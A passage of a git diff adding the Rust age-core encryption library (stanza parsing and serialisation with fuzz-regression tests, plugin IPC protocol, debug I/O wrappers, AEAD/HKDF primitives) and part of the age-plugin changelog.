full_chunks) = chunks.split_last().unwrap(); + if full_chunks.iter().any(|s| s.len() != 64) + || partial_chunk.len() > 64 + || partial_chunk.len() % 4 == 1 + || (partial_chunk.len() % 4 == 2 + && !base64_has_no_trailing_bits_2(partial_chunk.last().unwrap())) + || (partial_chunk.len() % 4 == 3 + && !base64_has_no_trailing_bits_3(partial_chunk.last().unwrap())) + { + None + } else { + Some(chunks) + } + }, + )(input) + } + + /// Reads an age stanza. + /// + /// From the age spec: + /// ```text + /// Each recipient stanza starts with a line beginning with -> and its type name, + /// followed by zero or more SP-separated arguments. The type name and the arguments + /// are arbitrary strings. Unknown recipient types are ignored. The rest of the + /// recipient stanza is a body of canonical base64 from RFC 4648 without padding + /// wrapped at exactly 64 columns. + /// ``` + pub fn age_stanza(input: &[u8]) -> IResult<&[u8], AgeStanza<'_>> { + map( + pair( + preceded( + tag(STANZA_TAG), + terminated(separated_list1(tag(" "), arbitrary_string), newline), + ), + wrapped_encoded_data, + ), + |(mut args, body)| { + let tag = args.remove(0); + AgeStanza { tag, args, body } + }, + )(input) + } + + fn legacy_age_stanza_inner(input: &[u8]) -> IResult<&[u8], AgeStanza<'_>> { + map( + pair( + preceded(tag(STANZA_TAG), separated_list1(tag(" "), arbitrary_string)), + terminated(opt(preceded(newline, legacy_wrapped_encoded_data)), newline), + ), + |(mut args, body)| { + let tag = args.remove(0); + AgeStanza { + tag, + args, + body: body.unwrap_or_else(|| vec![&[]]), + } + }, + )(input) + } + + /// Reads a age stanza, allowing the legacy encoding of an body. + /// + /// From the age spec: + /// ```text + /// Each recipient stanza starts with a line beginning with -> and its type name, + /// followed by zero or more SP-separated arguments. The type name and the arguments + /// are arbitrary strings. Unknown recipient types are ignored. The rest of the + /// recipient stanza is a body of canonical base64 from RFC 4648 without padding + /// wrapped at exactly 64 columns. + /// ``` + /// + /// The spec was originally unclear about how to encode a stanza body. Both age and + /// rage implemented the encoding in a way such that a stanza with a body of length of + /// 0 mod 64 was indistinguishable from an incomplete stanza. The spec now requires a + /// stanza body to always be terminated with a short line (empty if necessary). This + /// API exists to handle files that include the legacy encoding. The only known + /// generator of 0 mod 64 bodies is [`grease_the_joint`], so this should only affect + /// age files encrypted with beta versions of the `age` or `rage` crates. + /// + /// [`grease_the_joint`]: super::grease_the_joint + pub fn legacy_age_stanza(input: &[u8]) -> IResult<&[u8], AgeStanza<'_>> { + alt((age_stanza, legacy_age_stanza_inner))(input) + } + + #[cfg(test)] + mod tests { + use super::*; + + #[test] + fn base64_padding_rejected() { + assert!(wrapped_encoded_data(b"Tm8gcGFkZGluZyE\n").is_ok()); + assert!(wrapped_encoded_data(b"Tm8gcGFkZGluZyE=\n").is_err()); + // Internal padding is also rejected. + assert!(wrapped_encoded_data(b"SW50ZXJuYWwUGFk\n").is_ok()); + assert!(wrapped_encoded_data(b"SW50ZXJuYWw=UGFk\n").is_err()); + } + } +} + +/// Encoding operations for age types. +pub mod write { + use base64::{prelude::BASE64_STANDARD_NO_PAD, Engine}; + use cookie_factory::{ + combinator::string, + multi::separated_list, + sequence::{pair, tuple}, + SerializeFn, WriteContext, + }; + use std::io::Write; + use std::iter; + + use super::STANZA_TAG; + + fn wrapped_encoded_data<'a, W: 'a + Write>(data: &[u8]) -> impl SerializeFn + 'a { + let encoded = BASE64_STANDARD_NO_PAD.encode(data); + + move |mut w: WriteContext| { + let mut s = encoded.as_str(); + + // Write full body lines. + while s.len() >= 64 { + let (l, r) = s.split_at(64); + w = pair(string(l), string("\n"))(w)?; + s = r; + } + + // Last body line MUST be short (empty if necessary). + pair(string(s), string("\n"))(w) + } + } + + /// Writes an age stanza. + pub fn age_stanza<'a, W: 'a + Write, S: AsRef>( + tag: &'a str, + args: &'a [S], + body: &'a [u8], + ) -> impl SerializeFn + 'a { + pair( + tuple(( + string(STANZA_TAG), + separated_list( + string(" "), + iter::once(tag) + .chain(args.iter().map(|s| s.as_ref())) + .map(string), + ), + string("\n"), + )), + wrapped_encoded_data(body), + ) + } +} + +#[cfg(test)] +mod tests { + use base64::{prelude::BASE64_STANDARD_NO_PAD, Engine}; + use nom::error::ErrorKind; + + use super::{read, write}; + + #[test] + fn parse_age_stanza() { + let test_tag = "X25519"; + let test_args = &["CJM36AHmTbdHSuOQL+NESqyVQE75f2e610iRdLPEN20"]; + let test_body = BASE64_STANDARD_NO_PAD + .decode("C3ZAeY64NXS4QFrksLm3EGz+uPRyI0eQsWw7LWbbYig") + .unwrap(); + + // The only body line is short, so we don't need a trailing empty line. + let test_stanza = "-> X25519 CJM36AHmTbdHSuOQL+NESqyVQE75f2e610iRdLPEN20 +C3ZAeY64NXS4QFrksLm3EGz+uPRyI0eQsWw7LWbbYig +"; + + let (_, stanza) = read::age_stanza(test_stanza.as_bytes()).unwrap(); + assert_eq!(stanza.tag, test_tag); + assert_eq!(stanza.args, test_args); + assert_eq!(stanza.body(), test_body); + + let mut buf = vec![]; + cookie_factory::gen_simple(write::age_stanza(test_tag, test_args, &test_body), &mut buf) + .unwrap(); + assert_eq!(buf, test_stanza.as_bytes()); + } + + #[test] + fn age_stanza_with_empty_body() { + let test_tag = "empty-body"; + let test_args = &["some", "arguments"]; + let test_body = &[]; + + // The body is empty, so it is represented with an empty line. + let test_stanza = "-> empty-body some arguments + +"; + + let (_, stanza) = read::age_stanza(test_stanza.as_bytes()).unwrap(); + assert_eq!(stanza.tag, test_tag); + assert_eq!(stanza.args, test_args); + assert_eq!(stanza.body(), test_body); + + let mut buf = vec![]; + cookie_factory::gen_simple(write::age_stanza(test_tag, test_args, test_body), &mut buf) + .unwrap(); + assert_eq!(buf, test_stanza.as_bytes()); + } + + #[test] + fn age_stanza_with_full_body() { + let test_tag = "full-body"; + let test_args = &["some", "arguments"]; + let test_body = BASE64_STANDARD_NO_PAD + .decode("xD7o4VEOu1t7KZQ1gDgq2FPzBEeSRqbnqvQEXdLRYy143BxR6oFxsUUJCRB0ErXA") + .unwrap(); + + // The body fills a complete line, so it requires a trailing empty line. + let test_stanza = "-> full-body some arguments +xD7o4VEOu1t7KZQ1gDgq2FPzBEeSRqbnqvQEXdLRYy143BxR6oFxsUUJCRB0ErXA + +"; + + let (_, stanza) = read::age_stanza(test_stanza.as_bytes()).unwrap(); + assert_eq!(stanza.tag, test_tag); + assert_eq!(stanza.args, test_args); + assert_eq!(stanza.body(), test_body); + + let mut buf = vec![]; + cookie_factory::gen_simple(write::age_stanza(test_tag, test_args, &test_body), &mut buf) + .unwrap(); + assert_eq!(buf, test_stanza.as_bytes()); + } + + #[test] + fn age_stanza_with_legacy_full_body() { + let test_tag = "full-body"; + let test_args = &["some", "arguments"]; + let test_body = BASE64_STANDARD_NO_PAD + .decode("xD7o4VEOu1t7KZQ1gDgq2FPzBEeSRqbnqvQEXdLRYy143BxR6oFxsUUJCRB0ErXA") + .unwrap(); + + // The body fills a complete line, but lacks a trailing empty line. + let test_stanza = "-> full-body some arguments +xD7o4VEOu1t7KZQ1gDgq2FPzBEeSRqbnqvQEXdLRYy143BxR6oFxsUUJCRB0ErXA +--- header end +"; + + // The normal parser returns an error. + assert!(read::age_stanza(test_stanza.as_bytes()).is_err()); + + // We can parse with the legacy parser + let (_, stanza) = read::legacy_age_stanza(test_stanza.as_bytes()).unwrap(); + assert_eq!(stanza.tag, test_tag); + assert_eq!(stanza.args, test_args); + assert_eq!(stanza.body(), test_body); + } + + #[test] + fn age_stanza_invalid_last_line() { + // Artifact found by cargo-fuzz on commit 81f91581bf7e21075519dc23e4a28b4d201dd784 + // We add an extra newline to the artifact so that we would "correctly" trigger + // the bug in the legacy part of `read::legacy_age_stanza`. + let artifact = "-> H +/ + +"; + + // The stanza parser requires the last body line is short (possibly empty), so + // should reject this artifact. + match read::age_stanza(artifact.as_bytes()) { + Err(nom::Err::Error(e)) => assert_eq!(e.code, ErrorKind::TakeWhileMN), + Err(e) => panic!("Unexpected error: {}", e), + Ok((rest, stanza)) => { + assert_eq!(rest, b"\n"); + // This is where the fuzzer triggered a panic. + let _ = stanza.body(); + // We should never reach here either before or after the bug was fixed, + // because the body length is invalid. + panic!("Invalid test case was parsed without error"); + } + } + + // The legacy parser accepts this artifact by ignoring the invalid body line, + // because bodies were allowed to be omitted. + let (rest, stanza) = read::legacy_age_stanza(artifact.as_bytes()).unwrap(); + // The remainder should the invalid body line. If the standard parser were fixed + // but the legacy parser was not, this would only contain a single newline. + assert_eq!(rest, b"/\n\n"); + // This is where the fuzzer would have triggered a panic if it were using the + // legacy parser. + let body = stanza.body(); + assert!(body.is_empty()); + } + + #[test] + fn age_stanza_last_line_two_trailing_chars() { + // Artifact found by cargo-fuzz on commit 8da15148fc005a48ffeb43eb76dab478eb2fdf72 + // We add an extra newline to the artifact so that we would "correctly" trigger + // the bug in the legacy part of `read::legacy_age_stanza`. + let artifact = "-> ' +dy + +"; + + // The stanza parser requires the last body line is short (possibly empty), so + // should reject this artifact. + match read::age_stanza(artifact.as_bytes()) { + Err(nom::Err::Error(e)) => assert_eq!(e.code, ErrorKind::TakeWhileMN), + Err(e) => panic!("Unexpected error: {}", e), + Ok((rest, stanza)) => { + assert_eq!(rest, b"\n"); + // This is where the fuzzer triggered a panic. + let _ = stanza.body(); + // We should never reach here either before or after the bug was fixed, + // because the last body line has trailing bits. + panic!("Invalid test case was parsed without error"); + } + } + + // The legacy parser accepts this artifact by ignoring the invalid body line, + // because bodies were allowed to be omitted. + let (rest, stanza) = read::legacy_age_stanza(artifact.as_bytes()).unwrap(); + // The remainder should the invalid body line. If the standard parser were fixed + // but the legacy parser was not, this would only contain a single newline. + assert_eq!(rest, b"dy\n\n"); + // This is where the fuzzer would have triggered a panic if it were using the + // legacy parser. + let body = stanza.body(); + assert!(body.is_empty()); + } + + #[test] + fn age_stanza_last_line_three_trailing_chars() { + // Artifact found by cargo-fuzz after age_stanza_last_line_two_trailing_chars was + // incorrectly fixed. + let artifact = "-> h +ddd + +"; + + // The stanza parser requires the last body line is short (possibly empty), so + // should reject this artifact. + match read::age_stanza(artifact.as_bytes()) { + Err(nom::Err::Error(e)) => assert_eq!(e.code, ErrorKind::TakeWhileMN), + Err(e) => panic!("Unexpected error: {}", e), + Ok((rest, stanza)) => { + assert_eq!(rest, b"\n"); + // This is where the fuzzer triggered a panic. + let _ = stanza.body(); + // We should never reach here either before or after the bug was fixed, + // because the last body line has trailing bits. + panic!("Invalid test case was parsed without error"); + } + } + + // The legacy parser accepts this artifact by ignoring the invalid body line, + // because bodies were allowed to be omitted. + let (rest, stanza) = read::legacy_age_stanza(artifact.as_bytes()).unwrap(); + // The remainder should the invalid body line. If the standard parser were fixed + // but the legacy parser was not, this would only contain a single newline. + assert_eq!(rest, b"ddd\n\n"); + // This is where the fuzzer would have triggered a panic if it were using the + // legacy parser. + let body = stanza.body(); + assert!(body.is_empty()); + } +} diff --git a/lib/rage/age-core/src/io.rs b/lib/rage/age-core/src/io.rs new file mode 100644 index 0000000..625a370 --- /dev/null +++ b/lib/rage/age-core/src/io.rs @@ -0,0 +1,69 @@ +//! Common helpers for performing I/O. + +use std::io::{self, Read, Stderr, Write}; + +use io_tee::{TeeReader, TeeWriter}; + +#[cfg(feature = "plugin")] +use io_tee::{ReadExt, WriteExt}; + +/// A wrapper around a reader that optionally tees its input to `stderr` for this process. +pub enum DebugReader { + Off(R), + On(TeeReader), +} + +impl DebugReader { + #[cfg(feature = "plugin")] + #[cfg_attr(docsrs, doc(cfg(feature = "plugin")))] + pub(crate) fn new(reader: R, debug_enabled: bool) -> Self { + if debug_enabled { + DebugReader::On(reader.tee_dbg()) + } else { + DebugReader::Off(reader) + } + } +} + +impl Read for DebugReader { + fn read(&mut self, buf: &mut [u8]) -> io::Result { + match self { + Self::Off(reader) => reader.read(buf), + Self::On(reader) => reader.read(buf), + } + } +} + +/// A wrapper around a writer that optionally tees its output to `stderr` for this process. +pub enum DebugWriter { + Off(W), + On(TeeWriter), +} + +impl DebugWriter { + #[cfg(feature = "plugin")] + #[cfg_attr(docsrs, doc(cfg(feature = "plugin")))] + pub(crate) fn new(writer: W, debug_enabled: bool) -> Self { + if debug_enabled { + DebugWriter::On(writer.tee_dbg()) + } else { + DebugWriter::Off(writer) + } + } +} + +impl Write for DebugWriter { + fn write(&mut self, buf: &[u8]) -> io::Result { + match self { + Self::Off(writer) => writer.write(buf), + Self::On(writer) => writer.write(buf), + } + } + + fn flush(&mut self) -> io::Result<()> { + match self { + Self::Off(writer) => writer.flush(), + Self::On(writer) => writer.flush(), + } + } +} diff --git a/lib/rage/age-core/src/lib.rs b/lib/rage/age-core/src/lib.rs new file mode 100644 index 0000000..b344248 --- /dev/null +++ b/lib/rage/age-core/src/lib.rs @@ -0,0 +1,20 @@ +//! This crate contains common structs and functions used across the `age` crates. +//! +//! You are probably looking for the [`age`](https://crates.io/crates/age) crate +//! itself. You should only need to directly depend on this crate if you are +//! implementing a custom recipient type. + +#![cfg_attr(docsrs, feature(doc_cfg))] +// Catch documentation errors caused by code changes. +#![deny(rustdoc::broken_intra_doc_links)] + +// Re-export crates that are used in our public API. +pub use secrecy; + +pub mod format; +pub mod io; +pub mod primitives; + +#[cfg(feature = "plugin")] +#[cfg_attr(docsrs, doc(cfg(feature = "plugin")))] +pub mod plugin; diff --git a/lib/rage/age-core/src/plugin.rs b/lib/rage/age-core/src/plugin.rs new file mode 100644 index 0000000..aa3e40c --- /dev/null +++ b/lib/rage/age-core/src/plugin.rs @@ -0,0 +1,523 @@ +//! Common structs and constants for the age plugin system. +//! +//! These are shared between the client implementation in the `age` crate, and the plugin +//! implementations built around the `age-plugin` crate. + +use rand::{thread_rng, Rng}; +use secrecy::zeroize::Zeroize; +use std::env; +use std::fmt; +use std::io::{self, BufRead, BufReader, Read, Write}; +use std::iter; +use std::path::Path; +use std::process::{ChildStdin, ChildStdout, Command, Stdio}; + +use crate::{ + format::{grease_the_joint, read, write, Stanza}, + io::{DebugReader, DebugWriter}, +}; + +pub const IDENTITY_V1: &str = "identity-v1"; +pub const RECIPIENT_V1: &str = "recipient-v1"; + +const COMMAND_DONE: &str = "done"; +const RESPONSE_OK: &str = "ok"; +const RESPONSE_FAIL: &str = "fail"; +const RESPONSE_UNSUPPORTED: &str = "unsupported"; + +/// An error within the plugin protocol. +#[derive(Debug)] +pub enum Error { + Fail, + Unsupported, +} + +impl fmt::Display for Error { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Self::Fail => write!(f, "General plugin protocol error"), + Self::Unsupported => write!(f, "Unsupported command"), + } + } +} + +impl std::error::Error for Error {} + +/// Result type for the plugin protocol. +/// +/// - The outer error indicates a problem with the IPC transport or state machine; these +/// should result in the state machine being terminated and the connection closed. +/// - The inner error indicates an error within the plugin protocol, that the recipient +/// should explicitly handle. +pub type Result = io::Result>; + +type UnidirResult = io::Result<( + std::result::Result, Vec>, + std::result::Result, Vec>, + Option, Vec>>, + Option, Vec>>, +)>; + +/// A connection to a plugin binary. +pub struct Connection { + input: BufReader, + output: W, + buffer: String, + _working_dir: Option, +} + +impl Connection, DebugWriter> { + /// Starts a plugin binary with the given state machine. + /// + /// If the `AGEDEBUG` environment variable is set to `plugin`, then all messages sent + /// to and from the plugin, as well as anything the plugin prints to its `stderr`, + /// will be printed to the `stderr` of the parent process. + pub fn open(binary: &Path, state_machine: &str) -> io::Result { + let working_dir = tempfile::tempdir()?; + let debug_enabled = env::var("AGEDEBUG").map(|s| s == "plugin").unwrap_or(false); + let process = Command::new(binary.canonicalize()?) + .arg(format!("--age-plugin={}", state_machine)) + .current_dir(working_dir.path()) + .stdin(Stdio::piped()) + .stdout(Stdio::piped()) + .stderr(if debug_enabled { + Stdio::inherit() + } else { + Stdio::null() + }) + .spawn()?; + let input = BufReader::new(DebugReader::new( + process.stdout.expect("could open stdout"), + debug_enabled, + )); + let output = DebugWriter::new(process.stdin.expect("could open stdin"), debug_enabled); + Ok(Connection { + input, + output, + buffer: String::new(), + _working_dir: Some(working_dir), + }) + } +} + +impl Connection { + /// Initialise a connection from an age client. + pub fn accept() -> Self { + Connection { + input: BufReader::new(io::stdin()), + output: io::stdout(), + buffer: String::new(), + _working_dir: None, + } + } +} + +impl Connection { + fn send>( + &mut self, + command: &str, + metadata: &[S], + data: &[u8], + ) -> io::Result<()> { + use cookie_factory::GenError; + + cookie_factory::gen_simple(write::age_stanza(command, metadata, data), &mut self.output) + .map_err(|e| match e { + GenError::IoError(e) => e, + e => io::Error::new(io::ErrorKind::Other, format!("{}", e)), + }) + .and_then(|w| w.flush()) + } + + fn send_stanza>( + &mut self, + command: &str, + metadata: &[S], + stanza: &Stanza, + ) -> io::Result<()> { + let metadata: Vec<_> = metadata + .iter() + .map(|s| s.as_ref()) + .chain(iter::once(stanza.tag.as_str())) + .chain(stanza.args.iter().map(|s| s.as_str())) + .collect(); + + self.send(command, &metadata, &stanza.body) + } + + fn receive(&mut self) -> io::Result { + let (stanza, consumed) = loop { + match read::age_stanza(self.buffer.as_bytes()) { + Ok((remainder, r)) => break (r.into(), self.buffer.len() - remainder.len()), + Err(nom::Err::Incomplete(_)) => { + if self.input.read_line(&mut self.buffer)? == 0 { + return Err(io::Error::new( + io::ErrorKind::UnexpectedEof, + "incomplete response", + )); + }; + } + Err(_) => { + return Err(io::Error::new( + io::ErrorKind::InvalidData, + "invalid response", + )); + } + } + }; + + // We are finished with any prior response. + let remainder = self.buffer.split_off(consumed); + self.buffer.zeroize(); + self.buffer = remainder; + + Ok(stanza) + } + + fn grease_gun(&mut self) -> impl Iterator { + // Add 5% grease + let mut rng = thread_rng(); + (0..2).filter_map(move |_| { + if rng.gen_range(0..100) < 5 { + Some(grease_the_joint()) + } else { + None + } + }) + } + + fn done(&mut self) -> io::Result<()> { + self.send::<&str>(COMMAND_DONE, &[], &[]) + } + + /// Runs a unidirectional phase as the controller. + pub fn unidir_send) -> io::Result<()>>( + &mut self, + phase_steps: P, + ) -> io::Result<()> { + phase_steps(UnidirSend(self))?; + for grease in self.grease_gun() { + self.send(&grease.tag, &grease.args, &grease.body)?; + } + self.done() + } + + /// Runs a unidirectional phase as the recipient. + /// + /// # Arguments + /// + /// `command_a`, `command_b`, and (optionally) `command_c` and `command_d` are the + /// known commands that are expected to be received. All other received commands + /// (including grease) will be ignored. + pub fn unidir_receive( + &mut self, + command_a: (&str, F), + command_b: (&str, G), + command_c: (Option<&str>, H), + command_d: (Option<&str>, I), + ) -> UnidirResult + where + F: Fn(Stanza) -> std::result::Result, + G: Fn(Stanza) -> std::result::Result, + H: Fn(Stanza) -> std::result::Result, + I: Fn(Stanza) -> std::result::Result, + { + let mut res_a = Ok(vec![]); + let mut res_b = Ok(vec![]); + let mut res_c = Ok(vec![]); + let mut res_d = Ok(vec![]); + + for stanza in iter::repeat_with(|| self.receive()).take_while(|res| match res { + Ok(stanza) => stanza.tag != COMMAND_DONE, + _ => true, + }) { + let stanza = stanza?; + + fn validate( + val: std::result::Result, + res: &mut std::result::Result, Vec>, + ) { + // Structurally validate the stanza against this command. + match val { + Ok(a) => { + if let Ok(stanzas) = res { + stanzas.push(a) + } + } + Err(e) => match res { + Ok(_) => *res = Err(vec![e]), + Err(errors) => errors.push(e), + }, + } + } + + if stanza.tag.as_str() == command_a.0 { + validate(command_a.1(stanza), &mut res_a) + } else if stanza.tag.as_str() == command_b.0 { + validate(command_b.1(stanza), &mut res_b) + } else { + if let Some(tag) = command_c.0 { + if stanza.tag.as_str() == tag { + validate(command_c.1(stanza), &mut res_c); + continue; + } + } + if let Some(tag) = command_d.0 { + if stanza.tag.as_str() == tag { + validate(command_d.1(stanza), &mut res_d); + continue; + } + } + } + } + + Ok(( + res_a, + res_b, + command_c.0.map(|_| res_c), + command_d.0.map(|_| res_d), + )) + } + + /// Runs a bidirectional phase as the controller. + pub fn bidir_send) -> io::Result<()>>( + &mut self, + phase_steps: P, + ) -> io::Result<()> { + phase_steps(BidirSend(self))?; + for grease in self.grease_gun() { + self.send(&grease.tag, &grease.args, &grease.body)?; + self.receive()?; + } + self.done() + } + + /// Runs a bidirectional phase as the recipient. + pub fn bidir_receive(&mut self, commands: &[&str], mut handler: H) -> io::Result<()> + where + H: FnMut(Stanza, Reply) -> Response, + { + loop { + let stanza = self.receive()?; + match stanza.tag.as_str() { + COMMAND_DONE => break Ok(()), + t if commands.contains(&t) => handler(stanza, Reply(self)).0?, + _ => self.send::<&str>(RESPONSE_UNSUPPORTED, &[], &[])?, + } + } + } +} + +/// Actions that a controller may take during a unidirectional phase. +/// +/// Grease is applied automatically. +pub struct UnidirSend<'a, R: Read, W: Write>(&'a mut Connection); + +impl<'a, R: Read, W: Write> UnidirSend<'a, R, W> { + /// Send a command. + pub fn send(&mut self, command: &str, metadata: &[&str], data: &[u8]) -> io::Result<()> { + for grease in self.0.grease_gun() { + self.0.send(&grease.tag, &grease.args, &grease.body)?; + } + self.0.send(command, metadata, data) + } + + /// Send an entire stanza. + pub fn send_stanza( + &mut self, + command: &str, + metadata: &[&str], + stanza: &Stanza, + ) -> io::Result<()> { + for grease in self.0.grease_gun() { + self.0.send(&grease.tag, &grease.args, &grease.body)?; + } + self.0.send_stanza(command, metadata, stanza) + } +} + +/// Actions that a controller may take during a bidirectional phase. +/// +/// Grease is applied automatically. +pub struct BidirSend<'a, R: Read, W: Write>(&'a mut Connection); + +impl<'a, R: Read, W: Write> BidirSend<'a, R, W> { + /// Send a command and receive a response. + pub fn send(&mut self, command: &str, metadata: &[&str], data: &[u8]) -> Result { + for grease in self.0.grease_gun() { + self.0.send(&grease.tag, &grease.args, &grease.body)?; + self.0.receive()?; + } + self.0.send(command, metadata, data)?; + let s = self.0.receive()?; + match s.tag.as_ref() { + RESPONSE_OK => Ok(Ok(s)), + RESPONSE_FAIL => Ok(Err(Error::Fail)), + RESPONSE_UNSUPPORTED => Ok(Err(Error::Unsupported)), + tag => Err(io::Error::new( + io::ErrorKind::InvalidData, + format!("unexpected response: {}", tag), + )), + } + } + + /// Send an entire stanza. + pub fn send_stanza( + &mut self, + command: &str, + metadata: &[&str], + stanza: &Stanza, + ) -> Result { + for grease in self.0.grease_gun() { + self.0.send(&grease.tag, &grease.args, &grease.body)?; + self.0.receive()?; + } + self.0.send_stanza(command, metadata, stanza)?; + let s = self.0.receive()?; + match s.tag.as_ref() { + RESPONSE_OK => Ok(Ok(s)), + RESPONSE_FAIL => Ok(Err(Error::Fail)), + RESPONSE_UNSUPPORTED => Ok(Err(Error::Unsupported)), + tag => Err(io::Error::new( + io::ErrorKind::InvalidData, + format!("unexpected response: {}", tag), + )), + } + } +} + +/// The possible replies to a bidirectional command. +pub struct Reply<'a, R: Read, W: Write>(&'a mut Connection); + +impl<'a, R: Read, W: Write> Reply<'a, R, W> { + /// Reply with `ok` and optional data. + pub fn ok(self, data: Option<&[u8]>) -> Response { + Response( + self.0 + .send::<&str>(RESPONSE_OK, &[], data.unwrap_or_default()), + ) + } + + /// Reply with `ok`, metadata, and optional data. + pub fn ok_with_metadata>(self, metadata: &[S], data: Option<&[u8]>) -> Response { + Response(self.0.send(RESPONSE_OK, metadata, data.unwrap_or_default())) + } + + /// The command failed (for example, the user failed to respond to an input request). + pub fn fail(self) -> Response { + Response(self.0.send::<&str>(RESPONSE_FAIL, &[], &[])) + } +} + +/// A response to a bidirectional command. +pub struct Response(io::Result<()>); + +#[cfg(test)] +mod tests { + use std::sync::{Arc, Mutex}; + + use super::*; + + pub struct Pipe(Vec); + + impl Pipe { + pub fn new() -> Arc> { + Arc::new(Mutex::new(Pipe(Vec::new()))) + } + } + + pub struct PipeReader { + pipe: Arc>, + } + + impl PipeReader { + pub fn new(pipe: Arc>) -> Self { + PipeReader { pipe } + } + } + + impl Read for PipeReader { + fn read(&mut self, buf: &mut [u8]) -> io::Result { + let mut pipe = self.pipe.lock().unwrap(); + let n_in = pipe.0.len(); + let n_out = buf.len(); + if n_in == 0 { + Err(io::Error::new(io::ErrorKind::WouldBlock, "")) + } else if n_out < n_in { + buf.copy_from_slice(&pipe.0[..n_out]); + pipe.0 = pipe.0.split_off(n_out); + Ok(n_out) + } else { + buf[..n_in].copy_from_slice(&pipe.0); + pipe.0.clear(); + Ok(n_in) + } + } + } + + pub struct PipeWriter { + pipe: Arc>, + } + + impl PipeWriter { + pub fn new(pipe: Arc>) -> Self { + PipeWriter { pipe } + } + } + + impl Write for PipeWriter { + fn write(&mut self, buf: &[u8]) -> io::Result { + let mut pipe = self.pipe.lock().unwrap(); + pipe.0.extend_from_slice(buf); + Ok(buf.len()) + } + + fn flush(&mut self) -> io::Result<()> { + Ok(()) + } + } + + #[test] + fn mock_plugin() { + let client_to_plugin = Pipe::new(); + let plugin_to_client = Pipe::new(); + + let mut client_conn = Connection { + input: BufReader::new(PipeReader::new(plugin_to_client.clone())), + output: PipeWriter::new(client_to_plugin.clone()), + buffer: String::new(), + _working_dir: None, + }; + let mut plugin_conn = Connection { + input: BufReader::new(PipeReader::new(client_to_plugin)), + output: PipeWriter::new(plugin_to_client), + buffer: String::new(), + _working_dir: None, + }; + + client_conn + .unidir_send(|mut phase| phase.send("test", &["foo"], b"bar")) + .unwrap(); + let stanza = plugin_conn + .unidir_receive::<_, (), (), (), _, _, _, _, _>( + ("test", Ok), + ("other", |_| Err(())), + (None, |_| Ok(())), + (None, |_| Ok(())), + ) + .unwrap(); + assert_eq!( + stanza, + ( + Ok(vec![Stanza { + tag: "test".to_owned(), + args: vec!["foo".to_owned()], + body: b"bar"[..].to_owned() + }]), + Ok(vec![]), + None, + None, + ) + ); + } +} diff --git a/lib/rage/age-core/src/primitives.rs b/lib/rage/age-core/src/primitives.rs new file mode 100644 index 0000000..7557187 --- /dev/null +++ b/lib/rage/age-core/src/primitives.rs @@ -0,0 +1,68 @@ +//! Primitive cryptographic operations used across various `age` components. + +use chacha20poly1305::{ + aead::{self, generic_array::typenum::Unsigned, Aead, AeadCore, KeyInit}, + ChaCha20Poly1305, +}; +use hkdf::Hkdf; +use sha2::Sha256; + +/// `encrypt[key](plaintext)` - encrypts a message with a one-time key. +/// +/// ChaCha20-Poly1305 from [RFC 7539] with a zero nonce. +/// +/// [RFC 7539]: https://tools.ietf.org/html/rfc7539 +pub fn aead_encrypt(key: &[u8; 32], plaintext: &[u8]) -> Vec { + let c = ChaCha20Poly1305::new(key.into()); + c.encrypt(&[0; 12].into(), plaintext) + .expect("we won't overflow the ChaCha20 block counter") +} + +/// `decrypt[key](ciphertext)` - decrypts a message of an expected fixed size. +/// +/// ChaCha20-Poly1305 from [RFC 7539] with a zero nonce. +/// +/// The message size is limited to mitigate multi-key attacks, where a ciphertext can be +/// crafted that decrypts successfully under multiple keys. Short ciphertexts can only +/// target two keys, which has limited impact. +/// +/// [RFC 7539]: https://tools.ietf.org/html/rfc7539 +pub fn aead_decrypt( + key: &[u8; 32], + size: usize, + ciphertext: &[u8], +) -> Result, aead::Error> { + if ciphertext.len() != size + ::TagSize::to_usize() { + return Err(aead::Error); + } + + let c = ChaCha20Poly1305::new(key.into()); + c.decrypt(&[0; 12].into(), ciphertext) +} + +/// `HKDF[salt, label](key, 32)` +/// +/// HKDF from [RFC 5869] with SHA-256. +/// +/// [RFC 5869]: https://tools.ietf.org/html/rfc5869 +pub fn hkdf(salt: &[u8], label: &[u8], ikm: &[u8]) -> [u8; 32] { + let mut okm = [0; 32]; + Hkdf::::new(Some(salt), ikm) + .expand(label, &mut okm) + .expect("okm is the correct length"); + okm +} + +#[cfg(test)] +mod tests { + use super::{aead_decrypt, aead_encrypt}; + + #[test] + fn aead_round_trip() { + let key = [14; 32]; + let plaintext = b"12345678"; + let encrypted = aead_encrypt(&key, plaintext); + let decrypted = aead_decrypt(&key, plaintext.len(), &encrypted).unwrap(); + assert_eq!(decrypted, plaintext); + } +} diff --git a/lib/rage/age-plugin/CHANGELOG.md b/lib/rage/age-plugin/CHANGELOG.md new file mode 100644 index 0000000..34b0bba --- /dev/null +++ b/lib/rage/age-plugin/CHANGELOG.md @@ -0,0 +1,64 @@ +# Changelog +All notable changes to the age crate will be documented in this file. Changes +to the [age-core crate](../age-core/CHANGELOG.md) also apply to the age-plugin +crate, and are not duplicated here. + +The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), +and this project adheres to Rust's notion of +[Semantic Versioning](https://semver.org/spec/v2.0.0.html). All versions prior +to 1.0.0 are beta releases. + +## [Unreleased] + +## [0.6.0] - 2024-11-03 +### Added +- `age_plugin::PluginHandler` +- `impl age_plugin::identity::IdentityPluginV1 for std::convert::Infallible` +- `impl age_plugin::recipient::RecipientPluginV1 for std::convert::Infallible` + +### Changed +- Migrated to `age-core 0.11`. +- `age_plugin::recipient::RecipientPluginV1` has a new `labels` method. Existing + implementations of the trait should either return `HashSet::new()` to maintain + existing compatibility, or return labels that apply the desired constraints. +- `age_plugin::run_state_machine` now supports the `recipient-v1` labels + extension. + +### Fixed +- `age_plugin::run_state_machine` now takes an `impl age_plugin::PluginHandler` + argument, instead of its previous arguments. + - This fixes the change from the previous release, because the type parameters + were basically impossible to set correctly when attempting to pass `None`. + +## [0.5.0] - 2024-02-04 +### Changed +- MSRV is now 1.65.0. +- Migrated to `age-core 0.10`. +- `age_plugin::run_state_machine` now takes optional arguments, to enable the + creation of recipient-only or identity-only plugins. + +## [0.4.0] - 2022-10-27 +### Changed +- MSRV is now 1.59.0. +- Migrated to `age-core 0.9`. + +## [0.3.0] - 2022-05-02 +### Added +- `age_plugin::Callbacks::confirm` + +### Changed +- MSRV is now 1.56.0. + +## [0.2.1] - 2021-12-27 +### Fixed +- Bumped `age-core` to 0.7.1 to fix a bug where non-canonical recipient stanza + bodies in an age file header would cause a panic instead of being rejected. + +## [0.2.0] - 2021-10-18 +### Changed +- MSRV is now 1.51.0. +- 